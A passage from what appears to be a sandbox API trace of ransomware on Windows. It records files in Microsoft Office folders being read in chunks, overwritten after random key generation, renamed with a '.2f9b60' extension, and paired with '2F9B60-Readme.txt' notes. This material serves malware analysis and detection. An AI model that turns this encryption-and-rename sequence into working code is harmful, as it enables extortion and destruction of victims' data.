lpOverlapped=0x0) returned 1 [0125.322] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7a30 [0125.322] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7520 [0125.322] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7520) returned 1 [0125.323] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b40d80) returned 1 [0125.323] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b3d170) returned 1 [0125.323] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504110) returned 1 [0125.323] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420593d0) returned 1 [0125.323] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a7520 [0125.323] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0125.323] WriteFile (in: hFile=0x1038, lpBuffer=0x167280*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2245fa90, lpOverlapped=0x0 | out: lpBuffer=0x167280*, lpNumberOfBytesWritten=0x2245fa90*=0x10a, lpOverlapped=0x0) returned 1 [0125.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0125.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504190 [0125.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6a40 [0125.326] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6a40) returned 1 [0125.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0125.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6a40 [0125.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6a70 [0125.326] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6a70) returned 1 [0125.326] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504190) returned 1 [0125.326] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0125.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0570 [0125.326] sprintf (in: _Dest=0x1cda0570, _Format="%c%c" | out: _Dest="bd") returned 2 [0125.327] sprintf (in: _Dest=0x1cda0572, _Format="%c%c" | out: _Dest="07") returned 2 [0125.327] sprintf (in: _Dest=0x1cda0574, _Format="%c%c" | out: _Dest="46") returned 2 [0125.327] sprintf (in: _Dest=0x1cda0576, _Format="%c%c" | out: _Dest="0d") returned 2 [0125.327] sprintf (in: _Dest=0x1cda0578, _Format="%c%c" | out: _Dest="06") returned 2 [0125.327] sprintf (in: _Dest=0x1cda057a, _Format="%c%c" | out: _Dest="9d") returned 2 [0125.327] sprintf (in: _Dest=0x1cda057c, _Format="%c%c" | out: _Dest="28") returned 2 [0125.327] sprintf (in: _Dest=0x1cda057e, _Format="%c%c" | out: _Dest="81") returned 2 [0125.327] sprintf (in: _Dest=0x1cda0580, _Format="%c%c" | out: _Dest="80") returned 2 [0125.327] sprintf (in: _Dest=0x1cda0582, _Format="%c%c" | out: _Dest="6c") returned 2 [0125.327] sprintf (in: _Dest=0x1cda0584, _Format="%c%c" | out: _Dest="81") returned 2 [0125.327] sprintf (in: _Dest=0x1cda0586, _Format="%c%c" | out: _Dest="94") returned 2 [0125.327] sprintf (in: _Dest=0x1cda0588, _Format="%c%c" | out: _Dest="0d") returned 2 [0125.327] sprintf (in: _Dest=0x1cda058a, _Format="%c%c" | out: _Dest="16") returned 2 [0125.327] sprintf (in: _Dest=0x1cda058c, _Format="%c%c" | out: _Dest="13") returned 2 [0125.327] sprintf (in: _Dest=0x1cda058e, _Format="%c%c" | out: _Dest="c3") returned 2 [0125.327] sprintf (in: _Dest=0x1cda0590, _Format="%c%c" | out: _Dest="96") returned 2 [0125.327] sprintf (in: _Dest=0x1cda0592, _Format="%c%c" | out: _Dest="88") returned 2 [0125.327] sprintf (in: _Dest=0x1cda0594, _Format="%c%c" | out: _Dest="d6") returned 2 [0125.327] sprintf (in: _Dest=0x1cda0596, _Format="%c%c" | out: _Dest="7a") returned 2 [0125.327] sprintf (in: _Dest=0x1cda0598, _Format="%c%c" | out: _Dest="bc") returned 2 [0125.327] sprintf (in: _Dest=0x1cda059a, _Format="%c%c" | out: _Dest="8a") returned 2 [0125.327] sprintf (in: _Dest=0x1cda059c, _Format="%c%c" | out: _Dest="c0") returned 2 [0125.327] sprintf (in: _Dest=0x1cda059e, _Format="%c%c" | out: _Dest="9b") returned 2 [0125.327] RtlInitAnsiString (in: DestinationString=0x2245fb08, SourceString="bd07460d069d2881806c81940d1613c39688d67abc8ac09b" | out: DestinationString="bd07460d069d2881806c81940d1613c39688d67abc8ac09b") [0125.327] RtlAnsiStringToUnicodeString (in: DestinationString=0x2245fad8, SourceString="bd07460d069d2881806c81940d1613c39688d67abc8ac09b", AllocateDestinationString=1 | out: DestinationString="bd07460d069d2881806c81940d1613c39688d67abc8ac09b") returned 0x0 [0125.328] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b8639d0 [0125.328] wcscat (in: _Dest=0x2027bd70, _Source="bd07460d069d" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\bd07460d069d") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\bd07460d069d" [0125.328] wcscat (in: _Dest=0x2027bd70, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\bd07460d069d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\bd07460d069d.2f9b60" [0125.328] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\bd07460d069d.2f9b60", NtPathName=0x2245fab0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\bd07460d069d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0125.328] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107780 [0125.330] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107780) returned 1 [0125.330] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48b30) returned 1 [0125.330] NtQueryInformationFile (in: FileHandle=0x1038, IoStatusBlock=0x2245fb18, FileInformation=0x2245fb28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2245fb18, FileInformation=0x2245fb28) returned 0x0 [0125.330] NtSetInformationFile (FileHandle=0x1038, IoStatusBlock=0x2245fb18, FileInformation=0x2245fb28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0125.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027bd70) returned 1 [0125.426] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8639d0) returned 1 [0125.426] FlushFileBuffers (hFile=0x1038) returned 1 [0125.443] CloseHandle (hObject=0x1038) returned 1 [0125.450] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x2027bd70 [0125.450] wcscpy (in: _Dest=0x2027bd70, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0125.450] wcscat (in: _Dest=0x2027bd70, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0125.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0125.450] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027bd70) returned 1 [0125.450] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c9f0) returned 1 Thread: id = 1618 os_tid = 0x1af0 [0125.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Northwind.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\northwind.accdt")) returned 0x20 [0125.378] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Northwind.accdt", dwFileAttributes=0x20) returned 1 [0128.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Northwind.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\northwind.accdt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x103c [0128.995] GetFileSizeEx (in: hFile=0x103c, lpFileSize=0x1efbfa00 | out: lpFileSize=0x1efbfa00*=2054738) returned 1 [0128.995] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x1f5a4e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.995] ReadFile (in: hFile=0x103c, lpBuffer=0x1efbf980, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1efbf9c8, lpOverlapped=0x0 | out: lpBuffer=0x1efbf980*, lpNumberOfBytesRead=0x1efbf9c8*=0x4, lpOverlapped=0x0) returned 1 [0128.999] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6d20 [0128.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7e60 [0128.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8400 [0128.999] NtQuerySystemTime (in: CurrentTime=0x1efbf8c0 | out: CurrentTime=0x1efbf8c0*=132462177342610000) returned 0x0 [0128.999] RtlRandomEx (in: Seed=0x1efbf8b0 | out: Seed=0x1efbf8b0) returned 0x7241a133 [0128.999] RtlRandomEx (in: Seed=0x1efbf8b0 | out: Seed=0x1efbf8b0) returned 0x1fc54f20 [0128.999] RtlRandomEx (in: Seed=0x1efbf8b0 | out: Seed=0x1efbf8b0) returned 0x4da37141 [0128.999] RtlRandomEx (in: Seed=0x1efbf8b0 | out: Seed=0x1efbf8b0) returned 0xa9a9db7 [0129.000] RtlRandomEx (in: Seed=0x1efbf8b0 | out: Seed=0x1efbf8b0) returned 0x4a3bb8ce [0129.000] RtlRandomEx (in: Seed=0x1efbf8b0 | out: Seed=0x1efbf8b0) returned 0x49bb759c [0129.000] RtlRandomEx (in: Seed=0x1efbf8b0 | out: Seed=0x1efbf8b0) returned 0x81df1f4 [0129.000] RtlRandomEx (in: Seed=0x1efbf8b0 | out: Seed=0x1efbf8b0) returned 0x550e5048 [0129.000] RtlRandomEx (in: Seed=0x1efbf8b0 | out: Seed=0x1efbf8b0) returned 0x33794acf [0129.000] RtlRandomEx (in: Seed=0x1efbf8b0 | out: Seed=0x1efbf8b0) returned 0x3368de23 [0129.000] RtlRandomEx (in: Seed=0x1efbf8b0 | out: Seed=0x1efbf8b0) returned 0x349e471c [0129.000] RtlRandomEx (in: Seed=0x1efbf8b0 | out: Seed=0x1efbf8b0) returned 0x404c3e24 [0129.000] RtlRandomEx (in: Seed=0x1efbf8b0 | out: Seed=0x1efbf8b0) returned 0x25d2651 [0129.000] RtlRandomEx (in: Seed=0x1efbf8b0 | out: Seed=0x1efbf8b0) returned 0x265a6c3b [0129.000] RtlRandomEx (in: Seed=0x1efbf8b0 | out: Seed=0x1efbf8b0) returned 0x723ad7e5 [0129.000] RtlRandomEx (in: Seed=0x1efbf8b0 | out: Seed=0x1efbf8b0) returned 0x678edc82 [0129.000] RtlRandomEx (in: Seed=0x1efbf8b0 | out: Seed=0x1efbf8b0) returned 0x35b828cc [0129.000] RtlRandomEx (in: Seed=0x1efbf8b0 | out: Seed=0x1efbf8b0) returned 0x7aa3a132 [0129.000] RtlRandomEx (in: Seed=0x1efbf8b0 | out: Seed=0x1efbf8b0) returned 0x7b0f67d2 [0129.000] RtlRandomEx (in: Seed=0x1efbf8b0 | out: Seed=0x1efbf8b0) returned 0x6f2bb068 [0129.000] RtlRandomEx (in: Seed=0x1efbf8b0 | out: Seed=0x1efbf8b0) returned 0x256995f [0129.000] RtlRandomEx (in: Seed=0x1efbf8b0 | out: Seed=0x1efbf8b0) returned 0x65c53ec1 [0129.000] RtlRandomEx (in: Seed=0x1efbf8b0 | out: Seed=0x1efbf8b0) returned 0x224f9cc0 [0129.000] RtlRandomEx (in: Seed=0x1efbf8b0 | out: Seed=0x1efbf8b0) returned 0x2fe6e44a [0129.000] RtlRandomEx (in: Seed=0x1efbf8b0 | out: Seed=0x1efbf8b0) returned 0x3b280a15 [0129.000] RtlRandomEx (in: Seed=0x1efbf8b0 | out: Seed=0x1efbf8b0) returned 0x25a63478 [0129.000] RtlRandomEx (in: Seed=0x1efbf8b0 | out: Seed=0x1efbf8b0) returned 0x10b928ca [0129.001] RtlRandomEx (in: Seed=0x1efbf8b0 | out: Seed=0x1efbf8b0) returned 0x6178bd2e [0129.001] RtlRandomEx (in: Seed=0x1efbf8b0 | out: Seed=0x1efbf8b0) returned 0x56192ce1 [0129.001] RtlRandomEx (in: Seed=0x1efbf8b0 | out: Seed=0x1efbf8b0) returned 0x7d13a6b3 [0129.001] RtlRandomEx (in: Seed=0x1efbf8b0 | out: Seed=0x1efbf8b0) returned 0x2a0812b7 [0129.001] RtlRandomEx (in: Seed=0x1efbf8b0 | out: Seed=0x1efbf8b0) returned 0x1be520f6 [0129.013] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.014] ReadFile (in: hFile=0x103c, lpBuffer=0x41fae130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1efbf920, lpOverlapped=0x0 | out: lpBuffer=0x41fae130*, lpNumberOfBytesRead=0x1efbf920*=0x3c00, lpOverlapped=0x0) returned 1 [0129.025] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0129.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0129.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6d20 [0129.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6d20) returned 1 [0129.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fb1d40 [0129.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6d20 [0129.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8400 [0129.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8400) returned 1 [0129.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0129.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0129.026] WriteFile (in: hFile=0x103c, lpBuffer=0x41fb1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1efbf920, lpOverlapped=0x0 | out: lpBuffer=0x41fb1d40*, lpNumberOfBytesWritten=0x1efbf920*=0x3c00, lpOverlapped=0x0) returned 1 [0166.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fb1d40) returned 1 [0166.123] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0xfb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.123] ReadFile (in: hFile=0x103c, lpBuffer=0x41fae130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1efbf920, lpOverlapped=0x0 | out: lpBuffer=0x41fae130*, lpNumberOfBytesRead=0x1efbf920*=0x3c00, lpOverlapped=0x0) returned 1 [0166.179] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0xfb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.179] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97850 [0166.179] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867540 [0166.179] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1460 [0166.180] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1460) returned 1 [0166.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41b5f0f0 [0166.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1460 [0166.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1490 [0166.181] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1490) returned 1 [0166.181] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867540) returned 1 [0166.181] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97850) returned 1 [0166.181] WriteFile (in: hFile=0x103c, lpBuffer=0x41b5f0f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1efbf920, lpOverlapped=0x0 | out: lpBuffer=0x41b5f0f0*, lpNumberOfBytesWritten=0x1efbf920*=0x3c00, lpOverlapped=0x0) returned 1 [0187.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b5f0f0) returned 1 [0187.144] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x1f1e52, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.145] ReadFile (in: hFile=0x103c, lpBuffer=0x41fae130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1efbf920, lpOverlapped=0x0 | out: lpBuffer=0x41fae130*, lpNumberOfBytesRead=0x1efbf920*=0x3c00, lpOverlapped=0x0) returned 1 [0190.542] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x1f1e52, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0190.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0190.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138c20 [0190.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138c20) returned 1 [0190.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b17630 [0190.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138c20 [0190.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138c50 [0190.544] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138c50) returned 1 [0190.545] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0190.545] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0190.545] WriteFile (in: hFile=0x103c, lpBuffer=0x42b17630*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1efbf920, lpOverlapped=0x0 | out: lpBuffer=0x42b17630*, lpNumberOfBytesWritten=0x1efbf920*=0x3c00, lpOverlapped=0x0) returned 1 [0205.330] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b17630) returned 1 [0205.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319f520 [0205.330] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.330] WriteFile (in: hFile=0x103c, lpBuffer=0x431f4ca0*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x1efbf9d0, lpOverlapped=0x0 | out: lpBuffer=0x431f4ca0*, lpNumberOfBytesWritten=0x1efbf9d0*=0x150, lpOverlapped=0x0) returned 1 [0208.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616f0 [0208.734] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba360 [0208.734] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d7b0 [0208.735] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d7b0) returned 1 [0208.735] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x2050d7b0 [0208.735] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d780 [0208.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d720 [0208.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d720) returned 1 [0208.737] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba360) returned 1 [0208.737] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616f0) returned 1 [0208.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x1ce616f0 [0208.737] sprintf (in: _Dest=0x1ce616f0, _Format="%c%c" | out: _Dest="5f") returned 2 [0208.737] sprintf (in: _Dest=0x1ce616f2, _Format="%c%c" | out: _Dest="48") returned 2 [0208.737] sprintf (in: _Dest=0x1ce616f4, _Format="%c%c" | out: _Dest="48") returned 2 [0208.738] sprintf (in: _Dest=0x1ce616f6, _Format="%c%c" | out: _Dest="d8") returned 2 [0208.738] sprintf (in: _Dest=0x1ce616f8, _Format="%c%c" | out: _Dest="89") returned 2 [0208.738] sprintf (in: _Dest=0x1ce616fa, _Format="%c%c" | out: _Dest="92") returned 2 [0208.738] sprintf (in: _Dest=0x1ce616fc, _Format="%c%c" | out: _Dest="22") returned 2 [0208.738] sprintf (in: _Dest=0x1ce616fe, _Format="%c%c" | out: _Dest="42") returned 2 [0208.738] sprintf (in: _Dest=0x1ce61700, _Format="%c%c" | out: _Dest="5c") returned 2 [0208.738] sprintf (in: _Dest=0x1ce61702, _Format="%c%c" | out: _Dest="65") returned 2 [0208.738] sprintf (in: _Dest=0x1ce61704, _Format="%c%c" | out: _Dest="50") returned 2 [0208.738] sprintf (in: _Dest=0x1ce61706, _Format="%c%c" | out: _Dest="95") returned 2 [0208.738] sprintf (in: _Dest=0x1ce61708, _Format="%c%c" | out: _Dest="48") returned 2 [0208.738] sprintf (in: _Dest=0x1ce6170a, _Format="%c%c" | out: _Dest="50") returned 2 [0208.738] sprintf (in: _Dest=0x1ce6170c, _Format="%c%c" | out: _Dest="cb") returned 2 [0208.738] sprintf (in: _Dest=0x1ce6170e, _Format="%c%c" | out: _Dest="94") returned 2 [0208.738] sprintf (in: _Dest=0x1ce61710, _Format="%c%c" | out: _Dest="ca") returned 2 [0208.738] sprintf (in: _Dest=0x1ce61712, _Format="%c%c" | out: _Dest="62") returned 2 [0208.738] sprintf (in: _Dest=0x1ce61714, _Format="%c%c" | out: _Dest="f9") returned 2 [0208.738] sprintf (in: _Dest=0x1ce61716, _Format="%c%c" | out: _Dest="ab") returned 2 [0208.738] sprintf (in: _Dest=0x1ce61718, _Format="%c%c" | out: _Dest="03") returned 2 [0208.738] sprintf (in: _Dest=0x1ce6171a, _Format="%c%c" | out: _Dest="ab") returned 2 [0208.738] sprintf (in: _Dest=0x1ce6171c, _Format="%c%c" | out: _Dest="26") returned 2 [0208.738] sprintf (in: _Dest=0x1ce6171e, _Format="%c%c" | out: _Dest="1d") returned 2 [0208.738] sprintf (in: _Dest=0x1ce61720, _Format="%c%c" | out: _Dest="4c") returned 2 [0208.739] sprintf (in: _Dest=0x1ce61722, _Format="%c%c" | out: _Dest="b1") returned 2 [0208.739] sprintf (in: _Dest=0x1ce61724, _Format="%c%c" | out: _Dest="96") returned 2 [0208.739] sprintf (in: _Dest=0x1ce61726, _Format="%c%c" | out: _Dest="9d") returned 2 [0208.739] sprintf (in: _Dest=0x1ce61728, _Format="%c%c" | out: _Dest="58") returned 2 [0208.739] sprintf (in: _Dest=0x1ce6172a, _Format="%c%c" | out: _Dest="2a") returned 2 [0208.739] RtlInitAnsiString (in: DestinationString=0x1efbfa48, SourceString="5f4848d8899222425c6550954850cb94ca62f9ab03ab261d4cb1969d582a" | out: DestinationString="5f4848d8899222425c6550954850cb94ca62f9ab03ab261d4cb1969d582a") [0208.739] RtlAnsiStringToUnicodeString (in: DestinationString=0x1efbfa18, SourceString="5f4848d8899222425c6550954850cb94ca62f9ab03ab261d4cb1969d582a", AllocateDestinationString=1 | out: DestinationString="5f4848d8899222425c6550954850cb94ca62f9ab03ab261d4cb1969d582a") returned 0x0 [0208.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x431a15c0 [0208.740] wcscat (in: _Dest=0x431a6eb0, _Source="5f4848d88992224" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\5f4848d88992224") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\5f4848d88992224" [0208.740] wcscat (in: _Dest=0x431a6eb0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\5f4848d88992224.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\5f4848d88992224.2f9b60" [0208.740] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\5f4848d88992224.2f9b60", NtPathName=0x1efbf9f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\5f4848d88992224.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0208.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbc) returned 0x430fd420 [0238.398] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430fd420) returned 1 [0238.398] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430a8760) returned 1 [0238.398] NtQueryInformationFile (in: FileHandle=0x103c, IoStatusBlock=0x1efbfa58, FileInformation=0x1efbfa68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1efbfa58, FileInformation=0x1efbfa68) returned 0x0 [0238.398] NtSetInformationFile (FileHandle=0x103c, IoStatusBlock=0x1efbfa58, FileInformation=0x1efbfa68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0241.927] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a6eb0) returned 1 [0241.928] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a15c0) returned 1 [0241.928] FlushFileBuffers (hFile=0x103c) returned 1 [0241.935] CloseHandle (hObject=0x103c) returned 1 [0243.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x202b1f50 [0243.011] wcscpy (in: _Dest=0x202b1f50, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" [0243.011] wcscat (in: _Dest=0x202b1f50, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\2F9B60-Readme.txt" [0243.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft 